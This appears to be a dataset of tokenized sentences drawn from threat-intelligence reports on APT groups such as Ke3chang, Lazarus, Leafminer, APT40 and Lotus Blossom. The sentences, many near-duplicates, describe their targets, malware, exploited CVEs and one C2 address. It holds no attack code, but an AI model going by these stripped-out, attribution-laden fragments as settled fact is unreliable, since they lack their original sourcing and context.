FireEye gained visibility into one of 23 known command-and-control ( CnC ) servers operated by the Ke3chang actor for about one week .
Each attack comprises a variety of phases , including reconnaissance , exploitation , command and control , lateral movement , and exfiltration .
The Ke3chang attackers have been active since at least 2010 .
traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
The Ke3chang have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , chemicals , manufacturing , mining sectors .
August 2013 , FireEye gained visibility on one of 22 CnC servers used at that time by the Ke3chang attackers .
In this report , we present the historical intelligence we have gathered on the Ke3chang campaign , as well as an in-depth assessment of the ongoing Syrian-themed attacks against these MFAs .
Ke3chang attackers have used spear-phishing emails .
Ke3chang has also leveraged a Java zero-day vulnerability ( CVE-2012-4681 ) , as well as older , reliable exploits for Microsoft Word ( CVE-2010-3333 ) and Adobe PDF Reader ( CVE-2010-2883 ) .
Traditionally , the Ke3chang attackers have used spear-phishing emails with either a malware attachment or a link to a malicious download .
Over the years , the Ke3chang attackers have used three types of malware that we call : " BS2005 " , " BMW " , and " MyWeb " .
it is a typical first stage backdoor commonly found in APT attacks .
The attackers have used three types of malware over the years and have traditionally targeted the aerospace , energy , government , high-tech , consulting services , and chemicals / manufacturing / mining sectors .
All of the CnC communications are performed over the HTTP protocol .
The current Ke3chang campaign leverages the BS2005 malware , while older activity from2011 leveraged BMW , followed by the MyWeb malware sporadically used in between .
A trait common to all three malware families we analyzed is that they use the IWebBrowser2 COM interface to perform their CnC communication .
Three months after the Olympics-themed attacks , FireEye observed a new BS2005 campaign labeled " newtiger " , which is possibly a reference to an older 2010 campaign labeled " tiger " .
Using information from the FireEye DTI cloud , FireEye observed that Ke3chang targeted a single firm .
The Ke3chang attackers used the older " MyWeb " malware family from 2010 to 2011 .
The Ke3chang attackers used the older MyWeb malware family from 2010 to 2011 .
During our period of visibility into the BS2005 " moviestar " campaign against various ministries of foreign affairs in Europe , FireEye discovered that the Ke3chang had initially tested the malware in virtual machines , prior to compromising actual targets .
The MyWeb sample that FireEye analyzed has a compile date of 1/20/2011 .
At least one of the attacks in this campaign leveraged a European security and defense-themed lure , which aligns with the targeting preferences for this group .
MyWeb is the second-generation malware used by Ke3chang .
ministries of foreign affairs in Europe have been targeted and compromised by a threat actor we call Ke3chang .
This attack used the crisis in Syria as a lure to deliver malware to its targets .
Tracking the malicious activities of the elusive Ke3chang APT group , ESET researchers have discovered new versions of malware families linked to the group , and a previously unreported backdoor .
Furthermore , FireEye has presented evidence indicating that the Ke3chang attackers have been active since at least 2010 and have attacked targets related to G20 meetings in the past .
During our brief window of visibility into one of the known 22 CnC nodes , FireEye observed the Ke3chang conducting reconnaissance and moving laterally throughout the compromised networks .
Ke3chang attackers are operating within China .
In May 2017 , NCC Group 's Incident Response team reacted to an ongoing incident .
which provides a range of services to UK Government .
APT15 was targeting information related to UK government departments and military technology .
backdoors that now appear to be part of APT15 's toolset .
This report demonstrates that Ke3chang is able to successfully penetrate government targets using exploits for vulnerabilities that have already been patched and despite the fact that these ministries have defenses in place .
RoyalDNS - required APT15 .
The Ke3chang group also used keyloggers and their own .NET tool to enumerate folders and dump data from Microsoft Exchange mailboxes .
APT15 was also observed using Mimikatz to dump credentials and generate Kerberos golden tickets .
This time , APT15 opted for a DNS based backdoor : RoyalDNS .
APT15 then used a tool known as RemoteExec .
APT15 then used a tool known as RemoteExec ( similar to Microsoft .
Coincidentally , following the recent hack of a US Navy contractor and theft of highly sensitive data on submarine warfare , we have found evidence of very recent activity by a group referred to as APT15 , known for committing cyber espionage which is believed to be affiliated with the Chinese government .
APT15 is known for committing cyberespionage against companies and organizations located in many different countries , targeting different sectors such as the oil industry , government contractors , military , and more .
Other names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .
ther names for the group are Vixen Panda , Ke3chang , Royal APT , and Playful Dragon .
There are many articles and researches online about APT15 and their activities , the most recent one by NCC Group .
There are many articles and researches online about APT15 and their activities , the most recent one by NCC Group ; although posted in March 2018 , it refers to a campaign in 2017 .
both attributed to Chinese government affiliated groups .
DLL hijacking techniques have been seen in the past with the APT15 group .
cyber actors of the North Korean to target the media , aerospace , financial , and critical infrastructure sectors in the United States and globally .
The U.S. Government refers to the malicious cyber activity by the North Korean government as HIDDEN COBRA .
Tools and capabilities used by HIDDEN COBRA actors include DDoS botnets , keyloggers , remote access tools ( RATs ) , and wiper malware .
Variants of malware and tools used by HIDDEN COBRA actors include Destover and Hangman .
DHS has previously released Alert TA14-353A .
The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report .
Our analysis shows that the cybercriminals behind the attack against an online casino in Central America , and several other targets in late-2017 , were most likely the infamous Lazarus hacking group .
The Lazarus Group was first identified in Novetta 's report Operation Blockbuster in February 2016 .
cyberattacks against high-value targets in Ukraine in December 2015 and December 2016 .
In all of these incidents , the Lazarus utilized similar toolsets , including KillDisk that was executed on compromised machines .
We are confident this KillDisk malware was deployed by Lazarus , rather than by another , unrelated attacker .
This recent attack against an online casino in Central America suggests that hacking tools from the Lazarus toolset are recompiled with every attack ( we didn't see these exact samples anywhere else ) .
Utilizing KillDisk in the attack scenario most likely served one of two purposes : the attackers covering their tracks after an espionage operation , or it was used directly for extortion or cyber-sabotage .
Today we'd like to share some of our findings , and add something new to what 's currently common knowledge about Lazarus Group activities , and their connection to the much talked about February 2016 incident , when an unknown attacker attempted to steal up to $851M USD from Bangladesh Central Bank .
Since the Bangladesh incident there have been just a few articles explaining the connection between Lazarus Group and the Bangladesh bank heist .
However , from this it 's only clear that Lazarus might have attacked Polish banks .
Symantec also confirmed seeing the Lazarus wiper tool in Poland at one of their customers .
Considering that the afterhack publications by the media mentioned that the investigation stumbled upon three different attackers , it was not obvious whether Lazarus was the one responsible for the fraudulent SWIFT transactions , or if Lazarus had in fact developed its own malware to attack banks ' systems .
We would like to add some strong facts that link some attacks on banks to Lazarus , and share some of our own findings as well as shed some light on the recent TTPs used by the attacker , including some yet unpublished details from the attack in Europe in 2017 .
Lazarus attacks are not a local problem and clearly the group 's operations span across the whole world .
Lazarus was previously known to conduct cyberespionage and cybersabotage activities , such as attacks on Sony Pictures Entertainment with volumes of internal data leaked , and many system harddrives in the company wiped .
We believe that Lazarus Group is very large and works mainly on infiltration and espionage operations , while a substantially smaller units within the group , which we have dubbed Bluenoroff , is responsible for financial profit .
Lazarus regrouped and rushed into new countries , selecting mostly poorer and less developed locations , hitting smaller banks because they are , apparently , easy prey .
To date , the Lazarus group has been one of the most successful in launching large scale operations against the financial industry .
We believe that Lazarus will remain one of the biggest threats to the banking sector , finance , and trading companies , as well as casinos for the next few years .
We believe Lazarus started this watering hole attack at the end of 2016 after their other operation was interrupted in South East Asia .
We believe they started this watering hole campaign at the end of 2016 after their other operation was interrupted in South East Asia .
A rudimentary but somewhat clever design , KiloAlfa provides keylogging capability for the Lazarus Group 's collection of malicious tools .
The design of KiloAlfa is broken down into two basic components : the persistence functionality and the keylogging functionality .
The persistence functionality of KiloAlfa allows the malware to self-install on a victim 's machine when activated ( described below ) .
Evidence suggest that the Lazarus Group uses compromised infrastructure as the public-facing touchpoint for the majority of their malware samples .
PapaAlfa is believed to be one of the proxy malware components that the Lazarus Group uses to hide the true command and control server ( s ) for operations .
Rather , PapaAlfa could be considered a smart proxy due in part to the fact that the Lazarus can easily switch the backend destination address and port without having to reestablish control over the infected machine hosting the PapaAlfa malware .
In terms of form factor , PapaAlfa comes in two flavors : service DLL and standalone executable .
The IndiaBravo-PapaAlfa installer is responsible for installing the service DLL variant .
While the tools profiled in this report are not inherently malicious , their capabilities are nonetheless integral to the Lazarus Group 's cyber operations , both espionage and destructive in nature , making them inherently dangerous to potential victims .
These tools often lay the groundwork for further malicious activity , such as the targeting of antivirus capabilities and the disabling of firewalls , both of which are very fundamental defensive measures .
Furthermore , like many other identified Lazarus Group families , these tools showcase the group 's creative solutions , such as the PapaAlfa , which makes it difficult to immediately identify potentially malicious activity on a compromised network .
The first class , colloquially known as " wipers " , are a class of malware has the primary intent of destroying data on a victim 's machine .
DDoS malware floods a target 's network-connected service with an excessive number of request at once in order to overload the capacity of the server .
For example , DeltaAlfa specifies a DDoS bot family identified as Alfa .
The naming scheme used by Novetta for the malware identified during Operation Blockbuster consists of at least two identifiers which each identifier coming from the International Civil Aviation Organization ( ICAO ) 's phonetic alphabet ,2 commonly referred to as the NATO phonetic alphabet .
Loaders are typically responsible for loading a DLL component into memory given that a DLL cannot operate in a standalone mode such as an executable .
This report will explore the various installers , uninstallers and loaders Novetta has observed the Lazarus Group using .
This reverse engineering report looks at the RATs and staging malware found within the Lazarus Group 's collection .
Regardless of their sophistication or refinement , the malware families within the Lazarus Group 's India and Lima classes perform at a reasonable level for their designed purpose : the introduction and persistence of malware from the Lazarus Group on a victim 's infrastructure .
While the capabilities for the installers , loaders , and uninstallers in this report are relatively straight forward and single-focused , analysis of these malware families provide further insight into the capabilities of the Lazarus Group .
The Lazarus Group employs a variety of RATs that operate in both client mode and server mode .
The most common communication mode for a RAT is to act as a client to a remote server .
The Lazarus Group employs a variety of RATs and staging malware to conduct cyber operations , many of which contain significant code overlap that points to at least a shared development environment .
While some members within the Romeo and Sierra groups may not implement sound authentication strategies , shift their design focus in abrupt and unusual manners , and fail to understand the pitfalls of distributed command networks , on the whole the families within the Lazarus Group 's collection of RATs and staging malware perform their tasks with surprising effectiveness .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets Bitcoin users and global financial organizations .
This new campaign , dubbed HaoBao , resumes Lazarus ' previous phishing emails , posed as employee recruitment , but now targets financial organizations .
McAfee Advanced Threat Research analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact .
McAfee Advanced Threat Research ( ATR ) analysts have discovered an aggressive Bitcoin-stealing phishing campaign by the international cybercrime group Lazarus that uses sophisticated malware with long-term impact .
Beginning in 2017 , the Lazarus group heavily targeted individuals with spear phishing emails impersonating job recruiters which contained malicious documents .
The use of decoy documents also reveals some of the potential targets of the Lazarus group 's malicious activity , specifically the use spear phishing attacks observed targeting South Korean government and aerospace organizations .
The campaign lasted from April to October and used job descriptions relevant to target organizations , in both English and Korean language .
The Lazarus Group 's objective was to gain access to the target 's environment and obtain key military program insight or steal money .
In this latest discovery by McAfee , despite a short pause in similar operations , the Lazarus group targets financial organizations .
This campaign is tailored to identifying those who are running Bitcoin related software through specific system scans .
This Malware Analysis Report ( MAR ) is the result of analytic efforts between the Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) .
When victims open malicious documents attached to the emails , the malware scans for Bitcoin activity and then establishes an implant for long-term data-gathering .
According to trusted third-party reporting , HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace , telecommunications , and finance industries .
The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control ( C2 ) server to a victim 's system via dual proxies .
FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors .
HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware to establish persistence .
HIDDEN COBRA actors install the FALLCHILL malware to establish persistence .
Working with U.S. government partners , DHS and FBI identified Internet Protocol ( IP ) addresses and other indicators of compromise ( IOCs ) associated with a remote administration tool ( RAT ) used by the North Korean government—commonly known as FALLCHILL .
This alert 's IOC files provide HIDDEN COBRA indicators related to FALLCHILL .
McAfee Advanced Threat Research analysts have uncovered a global data reconnaissance campaign assaulting a wide number of industries including critical infrastructure , entertainment , finance , health care , and telecommunications .
Because of this , additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL .
This campaign , dubbed Operation GhostSecret , leverages multiple implants , tools , and malware variants associated with the state-sponsored cyber group HIDDEN COBRA .
From March 18 to 26 we observed the malware operating in multiple areas of the world .
Furthermore , the Advanced Threat Research team has discovered Proxysvc , which appears to be an undocumented implant .
Our investigation into this campaign reveals that the actor used multiple malware implants , including an unknown implant with capabilities similar to Bankshot .
The attackers behind Operation GhostSecret used a similar infrastructure to earlier threats , including SSL certificates used by FakeTLS in implants found in the Destover backdoor variant known as Escad , which was used in the Sony Pictures attack .
Based on our analysis of public and private information from submissions , along with product telemetry , it appears Proxysvc was used alongside the 2017 Destover variant and has operated undetected since mid-2017 .
This new variant resembles parts of the Destover malware , which was used in the 2014 Sony Pictures attack .
The Lazarus used a similar infrastructure to earlier threats , including the Destover backdoor variant known as Escad .
The McAfee Advanced Threat Research team discovered a previously unknown data-gathering implant that surfaced in mid-February 2018 .
The Advanced Threat Research team uncovered activity related to this campaign in March 2018 , when the actors targeted Turkish banks .
Lazarus used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .
Malefactors used watering hole attacks to compromise legitimate and trusted websites frequently visited by their targets .
Feedback from our Smart Protection Network revealed that apart from attacks in North America ( mainly the U.S. ) , Europe , and South America , the campaign also noticeably affected enterprises in Taiwan , Hong Kong , China , and Bahrain .
On February 28 , the McAfee discovered that the cybercrime group HIDDEN COBRA continues to target cryptocurrency and financial organizations .
On February 28 , the McAfee Advanced Threat Research team discovered that the cybercrime group HIDDEN COBRA continues to target cryptocurrency and financial organizations .
While the URL acts similarly to how eye-watch.in : 443 delivers payloads , we also saw the URL leveraging and exploiting security flaws in Flash : CVE-2015-8651 , CVE-2016-1019 , and CVE-2016-4117 .
In this analysis , we observed the return of HIDDEN COBRA 's Bankshot malware implant surfacing in the Turkish financial system .
In this new , aggressive campaign we see a return of the Bankshot implant , which last appeared in 2017 .
This attack resembles previous attacks by HIDDEN COBRA conducted against the SWIFT .
The exploit , which takes advantage of CVE-2018-4878 , allows an attacker to execute arbitrary code such as an implant .
These implants are variations of earlier forms of Bankshot , a remote access tool that gives an attacker full capability on a victim 's system .
Bankshot was first reported by the Department of Homeland Security on December 13 , 2017 , and has only recently resurfaced in newly compiled variants .
We have found what may be an early data-gathering stage for future possible heists from financial organizations in Turkey ( and possibly other countries ) .
Documents with the Flash exploit managed to evade static defenses and remain undetected as an exploit on VirusTotal .
This malware report contains analysis of one 32-bit Windows executable file , identified as a Remote Access Trojan ( RAT ) .
This malware is capable of accessing device configuration data , downloading additional files , executing commands , modifying the registry , capturing screen shots , and exfiltrating data .
Volgmer is a backdoor Trojan designed to provide covert access to a compromised system .
It is suspected that spear phishing is the primary delivery mechanism for Volgmer infections ; however , HIDDEN COBRA actors use a suite of custom tools , some of which could also be used to initially compromise a system .
Since at least 2013 , HIDDEN COBRA actors have been observed using Volgmer malware in the wild to target the government , financial , automotive , and media industries .
Therefore , it is possible that additional HIDDEN COBRA malware may be present on network infrastructure compromised with Volgmer .
As a backdoor Trojan , Volgmer has several capabilities including : gathering system information , updating service registry keys , downloading and uploading files , executing commands , terminating processes , and listing directories .
In one of the samples received for analysis , the US-CERT Code Analysis Team observed botnet controller functionality .
Volgmer payloads have been observed in 32-bit form as either executables or dynamic-link library ( .dll )Lazarus actors commonly maintain persistence on a victim 's system by installing the malware-as-a-service .
Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government - referred to by the U.S. Government as BADCALL .
The malware uses a custom binary protocol to beacon back to the command and control ( C2 ) server , often via TCP port 8080 or 8088 , with some payloads implementing Secure Socket Layer ( SSL ) encryption to obfuscate communications .
DHS and FBI are distributing this MAR to enable network defense and reduce exposure to North Korean government malicious cyber activity .
The malware known as RATANKBA is just one of the weapons in Lazarus ' arsenal .
We analyzed a new RATANKBA variant ( BKDR_RATANKBA.ZAEL–A ) , discovered in June 2017 , that uses a PowerShell script instead of its more traditional PE executable form—a version that other researchers also recently identified .
Around 55% of the victims of Lazarus were located in India and neighboring countries .
Lazarus group could have been active since late 2016 , was used in a recent campaign targeting financial institutions using watering hole attacks .
Since they first emerged back in 2007 with a series of cyberespionage attacks against the South Korean government , these threat actors have successfully managed to pull off some of the most notable and devastating targeted attacks—such as the widely-reported 2014 Sony hack and the 2016 attack on a Bangladeshi bank—in recent history .
It 's possible that Lazarus is using RATANKBA to target larger organizations .
RATANKBA is delivered to its victims using a variety of lure documents , including Microsoft Office documents , malicious CHM files , and different script downloaders .
Overall , an organization will need multilayered security strategies , as Lazarus and other similar groups are experienced cybercriminals who employ different strategies to get past organizational defenses .
simultaneous use of the detected Win32/KillDisk.NBO variants .
Working with U.S. Government partners , DHS and FBI identified Trojan malware variants used by the North Korean government – commonly known as HARDRAIN .
These files have the capability to download and install malware , install proxy and Remote Access Trojans ( RATs ) , connect to command and control ( C2 ) servers to receive additional instructions , and modify the victim 's firewall to allow incoming connections .
The cybercriminal group Lazarus has a history of attacking financial organizations in Asia and Latin America .
We also recently discovered that Lazarus successfully planted their backdoor ( detected by Trend Micro as BKDR_BINLODR.ZNFJ-A ) into several machines of financial institutions across Latin America .
We determined that these backdoors were installed on the targets ' machines on September 19 2018 , based mainly on the service creation time of the loader component .
Just last week Lazarus were found stealing millions from ATMs across Asia and Africa .
These and other tools used by the Lazarus group can be mitigated by routinely scanning the network for any malicious activity to help prevent the malware from entering and spreading through an organization .
The backdoors Lazarus are deploying are difficult to detect and a significant threat to the privacy and security of enterprises , allowing attackers to steal information , delete files , install malware , and more .
Trend Micro endpoint solutions such as Trend Micro™ Smart Protection Suites and Worry-Free™ Business Security can protect users and businesses from these threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs .
FBI has high confidence that HIDDEN COBRA actors are using malware variants in conjunction with proxy servers to maintain a presence on victim networks and to further network exploitation .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
Ransomware that has been publicly named " WannaCry " , " WCry " or " WanaCrypt0r " ( based on strings in the binary and encrypted files ) has spread to at least 74 countries as of Friday 12 May 2017 , reportedly targeting Russia initially , and spreading to telecommunications , shipping , car manufacturers , universities and health care industries , among others .
We also saw that the attack technique bears some resemblance to a previous 2017 Lazarus attack , analyzed by BAE Systems , against targets in Asia .
WannaCry utilizes EternalBlue by crafting a custom SMB session request with hard-coded values based on the target system .
Notably , after the first SMB packet sent to the victim 's IP address , WannaCry sends two additional packets to the victim containing the hard-coded IP addresses 192.168.56.20 and 172.16.99.5 .
WannaCry ( also known as WCry or WanaCryptor ) malware is a self-propagating ( worm-like ) ransomware that spreads through internal networks and over the public internet by exploiting a vulnerability in Microsoft 's Server Message Block ( SMB ) protocol , MS17-010 .
The WannaCry malware consists of two distinct components , one that provides ransomware functionality and a component used for propagation , which contains functionality to enable SMB exploitation capabilities .
WannaCry leverages an exploit , codenamed " EternalBlue " , that was released by the Shadow Brokers on April 14 , 2017 .
WannaCry appends encrypted data files with the .WCRY extension , drops and executes a decryptor tool , and demands $300 or $600 USD ( via Bitcoin ) to decrypt the data .
In May 2017 , SecureWorks® Counter Threat Unit® ( CTU ) researchers investigated a widespread and opportunistic WCry ( also known as WanaCry , WanaCrypt , and Wana Decrypt0r ) ransomware campaign that impacted many systems around the world .
In November 2017 , SecureWorks Counter Threat Unit ( CTU ) researchers investigated a widespread and opportunistic WCry ransomware campaign that impacted many systems around the world .
Microsoft addressed the SMBv1 vulnerabilities in March 2017 with Security Bulletin MS17-010 .
The worm leverages an SMBv1 exploit that originates from tools released by the Shadow Brokers threat group in April .
If the DoublePulsar backdoor does not exist , then the SMB worm attempts to compromise the target using the Eternalblue SMBv1 exploit .
WCry uses a combination of the RSA and AES algorithms to encrypt files .
The campaign 's use of an SMB worm to distribute WCry contributed to the ransomware 's virulence .
Last week Microsoft , working together with Facebook and others in the security community , took strong steps to protect our customers and the internet from ongoing attacks by an advanced persistent threat actor known to us as ZINC , also known as the Lazarus Group .
Last week Microsoft , working together with Facebook , took strong steps to protect our customers and the internet from ongoing attacks by the Lazarus Group .
We concluded that Lazarus Group was responsible for WannaCry , a destructive malware .
We concluded that Lazarus Group was responsible for WannaCry , a destructive attack in May that targeted Microsoft customers .
Today , the governments of the United States , United Kingdom , Australia , Canada , New Zealand and Japan have all announced that the government of North Korea is responsible for the activities of ZINC/Lazarus .
In November 2017 , Secureworks Counter Threat Unit™ ( CTU ) researchers discovered the North Korean cyber threat group , known as Lazarus Group and internally tracked as NICKEL ACADEMY by Secureworks , had launched a malicious spearphishing campaign using the lure of a job opening for the CFO role at a European-based cryptocurrency company .
In November 2017 , CTU researchers discovered the North Korean cyber threat group , known as Lazarus Group , had launched a malicious spearphishing campaign using the lure of a job opening for the CFO role at a European-based cryptocurrency company .
Bankshot is designed to persist on a victim 's network for further exploitation ; thus the Advanced Threat Research team believes this operation is intended to gain access to specific financial organizations .
CTU researchers assess this as the continuation of activity first observed in 2016 , and it is likely that the campaign is ongoing .
CTU researchers have observed NICKEL ACADEMY ( Lazarus ) copying and pasting job descriptions from online recruitment sites in previous campaigns .
There are several indicators , which have led CTU researchers to believe with high confidence that NICKEL ACADEMY is behind the current spearphishing campaign .
CTU researchers also identified components in the custom C2 protocol being used which they have seen utilized by Nickel Academy ( Lazarus ) previously .
CTU researchers also identified components in the custom C2 protocol being used ( the way in which the malware talks to the Command and Control Servers ) which they have seen utilized by Nickel Academy ( Lazarus ) previously .
Leafminer attempts to infiltrate target networks through various means of intrusion : watering hole websites , vulnerability scans of network services on the internet , and brute-force login attempts .
The researchers found that there are common elements in the macro and in the first- stage RAT used in this campaign , with former campaigns of the NICKEL ACADEMY ( Lazarus ) threat group .
During our investigation , there was a breakthrough discovery that helped connect Leafminer to a number of attacks observed on systems in the Middle East and identify the toolkit used in the group 's efforts of intrusion , lateral movement , and exfiltration .
As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the Leafminer .
As of early June 2018 , the server hosted 112 files in a subdirectory that could be accessed through a public web shell planted by the attackers .
The Leafminer 's post-compromise toolkit suggests that Leafminer is looking for email data , files , and database servers on compromised target systems .
Researching the hacker handle MagicCoder results in references to the Iranian hacking forum Ashiyane as well as defacements by the Iranian hacker group Sun Army .
Targeted regions included in the list of Leafminer are Saudi Arabia , United Arab Emirates , Qatar , Kuwait , Bahrain , Egypt , Israel , and Afghanistan .
Our investigation of Leafminer started with the discovery of JavaScript code on several compromised websites in the Middle East .
This included the Fuzzbunch framework that was part of an infamous leak of exploits and tools by the Shadow Brokers in April 2017 .
Leafminer has developed exploit payloads for this framework ( Table 2 ) that deliver custom malware through attacks against SMB vulnerabilities described by Microsoft .
The EternalBlue exploit from the framework received worldwide attention after being used in the ransomware campaigns WannaCry in May and Petya / NotPetya in June 2017 .
The Leafminer operators use EternalBlue to attempt lateral movement within target networks from compromised staging servers .
Symantec also observed attempts by Leafminer to scan for the Heartbleed vulnerability ( CVE-2014-0160 ) from an attacker-controlled IP address .
Furthermore , the Leafminer arsenal server hosted a Python script to scan for this vulnerability .
Another intrusion approach used by Leafminer seems a lot less sophisticated than the previously described methods but can be just as effective : using specific hacktools to guess the login passwords for services exposed by a targeted system .
Commands found in a readme text that was stored in a ZIP archive together with the hacktool THC Hydra in Leafminer 's tool arsenal represent online dictionary attacks on Microsoft Exchange and Remote Desktop Protocol services of regional government servers in Saudi Arabia .
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Symantec identified two strains of custom malware used by the Leafminer group : Trojan.Imecab and Backdoor.Sorgu .
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Symantec identified two strains of custom malware used by the Leafminer group : Trojan.Imecab and Backdoor.Sorgu .
Leafminer is a highly active group , responsible for targeting a range of organizations across the Middle East .
Leafminer appears to be based in Iran and seems to be eager to learn from and capitalize on tools and techniques used by more advanced threat actors .
Leafminer also utilized Process Doppelganging , a detection evasion technique first discussed at the Black Hat EU conference last year .
Dragos has identified Leafminer group targeting access operations in the electric utility sector .
Analysis of RASPITE tactics , techniques , and procedures ( TTPs ) indicate the group has been active in some form since early - to mid-2017 .
RASPITE targeting includes entities in the US , Middle East , Europe , and East Asia .
RASPITE overlaps significantly with Symantec 's Leafminer , which recently released a report on the group 's activity in the Middle East .
RASPITE 's activity to date currently focuses on initial access operations within the electric utility sector .
This means that the Leafminer group is targeting electric utilities .
While the group has not yet demonstrated an ICS capability , RASPITE 's recent targeting focus and methodology are clear indicators of necessary activity for initial intrusion operations into an IT network to prepare the way for later potential ICS events .
Active since at least 2014 , this actor has long-standing interest in maritime industries , naval defense contractors , and associated research institutions in the United States and Western Europe .
Active since at least 2014 , the Leviathan has long-standing interest in maritime industries , naval defense contractors , and associated research institutions in the United States and Western Europe .
On September 15 and 19 , 2017 , Proofpoint detected and blocked spearphishing emails from this group targeting a US shipbuilding company and a US university research center with military ties .
The attachments exploited CVE-2017-8759 which was discovered and documented only five days prior to the campaign .
Some of the documents exploited CVE-2017-0199 to deliver the payload .
Between August 2 and 4 , the actor sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
Between August 2 and 4 , the Leviathan sent targeted spearphishing emails containing malicious URLs linking to documents to multiple defense contractors .
The Leviathan also occasionally used macro-laden Microsoft Word documents to target other US research and development organizations during this period .
The period between November 2014 and January 2015 marked one of the earlier instances in which Proofpoint observed persistent exploitation attempts by this actor .
The Leviathan , whose espionage activities primarily focus on targets in the US and Western Europe with military ties , has been active since at least 2014 .
This actor , whose espionage activities primarily focus on targets in the US and Western Europe with military ties , has been active since at least 2014 .
The campaign is linked to a group of suspected Chinese cyber espionage actors we have tracked since 2013 , dubbed TEMP.Periscope .
The Leviathan generally emailed Microsoft Excel documents with malicious macros to US universities with military interests , most frequently related to the Navy .
The current campaign is a sharp escalation of detected activity since summer 2017 .
Since early 2018 , FireEye ( including our FireEye as a Service ( FaaS ) , Mandiant Consulting , and iSIGHT Intelligence teams ) has been tracking an ongoing wave of intrusions targeting engineering and maritime entities , especially those connected to South China Sea issues .
Known targets of the Leviathan have been involved in the maritime industry , and research institutes , academic organizations , and private firms in the United States .
Active since at least 2013 , TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals , including engineering firms , shipping and transportation , manufacturing , defense , government offices , and research universities .
TEMP.Periscope overlaps in targeting , as well as tactics , techniques , and procedures ( TTPs ) , with TEMP.Jumper , a group that also overlaps significantly with public reporting on NanHaiShu .
The actor has conducted operations since at least 2013 in support of China 's naval modernization effort .
FireEye is highlighting a cyber espionage operation targeting crucial technologies and traditional intelligence targets from a China-nexus state sponsored actor we call APT40 .
The Leviathan group has specifically targeted engineering , transportation , and the defense industry , especially where these sectors overlap with maritime technologies .
We believe APT40 's emphasis on maritime issues and naval technology ultimately support China 's ambition to establish a blue-water navy .
Within a year APT40 was observed masquerading as a UUV manufacturer , and targeting universities engaged in naval research .
APT40 engages in broader regional targeting against traditional intelligence targets , especially organizations with operations in Southeast Asia .
We assess with moderate confidence that APT40 is a state-sponsored Chinese cyber espionage operation .
The actor 's targeting is consistent with Chinese state interests and there are multiple technical artifacts indicating the actor is based in China .
Analysis of the operational times of the group 's activities indicates that it is probably centered around China Standard Time ( UTC +8 ) .
APT40 relies heavily on web shells for an initial foothold into an organization .
APT40 has been observed leveraging a variety of techniques for initial compromise , including web server exploitation , phishing campaigns delivering publicly available and custom backdoors , and strategic web compromises .
Depending on placement , a web shell can provide continued access to victims ' environments , re-infect victim systems , and facilitate lateral movement .
The group 's capabilities are more than the much discussed CVE-2012-0158 exploits over the past few years .
A paper released today by our colleagues at Palo Alto Networks presented a portion of data on this crew under the label " the Lotus Blossom Operation " , likely named for the debug string present in much of the " Elise " codebase since at least 2012 : " d:\lstudio\projects\lotus\… " .
Instead , the Spring Dragon group is known to have employed spearphish exploits , strategic web compromises , and watering holes attack .
The group 's spearphish toolset includes PDF exploits , Adobe Flash Player exploits , and the common CVE-2012-0158 Word exploits including those generated from the infamous " Tran Duy Linh " kit .
The Spring Dragon appears to have rolled out a steady mix of exploits against government-related organizations in VN , TW , PH , and other locations over the past few years .
Organizations located in Myanmar and targeted by Spring Dragon have gone unmentioned .
Spring Dragon 's infiltration techniques there were not simply spearphish .
The download name was " Zawgyi_Keyboard_L.zip " , and it dropped a " setup.exe " that contained several backdoor components , including an Elise " wincex.dll " ( a42c966e26f3577534d03248551232f3 , detected as Backdoor.Win32.Agent.delp ) .
While this particular actor effectively used their almost worn out CVE-2012-0158 exploits in the past , Spring Dragon employs more involved and creative intrusive activity as well .
The well-known threat group called DRAGONFISH or Lotus Blossom are distributing a new form of Elise malware targeting organizations for espionage purposes .
The threat actors associated with DRAGONFISH have previously focused their campaigns on targets in Southeast Asia , specifically those located in countries near the South China Sea .
iDefense analysts have identified a campaign likely to be targeting members of— or those with affiliation or interest in—the ASEAN Defence Ministers ' Meeting ( ADMM ) .
iDefense analysts have identified a campaign likely to be targeting members of or those with affiliation or interest in the ASEAN Defence Minister 's Meeting ( ADMM ) .
iDefense assesses with high confidence that this campaign is associated with the threat group DRAGONFISH ( also known as Lotus Blossom and Spring Dragon ) .
To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103.236.150.14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .
The actors attempted to exploit CVE-2014-6332 using a slightly modified version of the proof-of-concept ( POC ) code to install a Trojan called Emissary , which is related to the Operation Lotus Blossom campaign .
The targeting of this individual suggests the actors are interested in breaching the French Ministry of Foreign Affairs itself or gaining insights into relations between France and Taiwan .
On November 10 , 2015 , threat actors sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
On November 10 , 2015 , Lotus Blossom sent a spear-phishing email to an individual at the French Ministry of Foreign Affairs .
Both attachments are malicious Word documents that attempt to exploit the Windows OLE Automation Array Remote Code Execution Vulnerability tracked by CVE-2014-6332 .
Lotus Blossom attempted to exploit CVE-2014-6332 using the POC code available in the wild .
This Trojan is related to the Elise backdoor described in the Operation Lotus Blossom report .
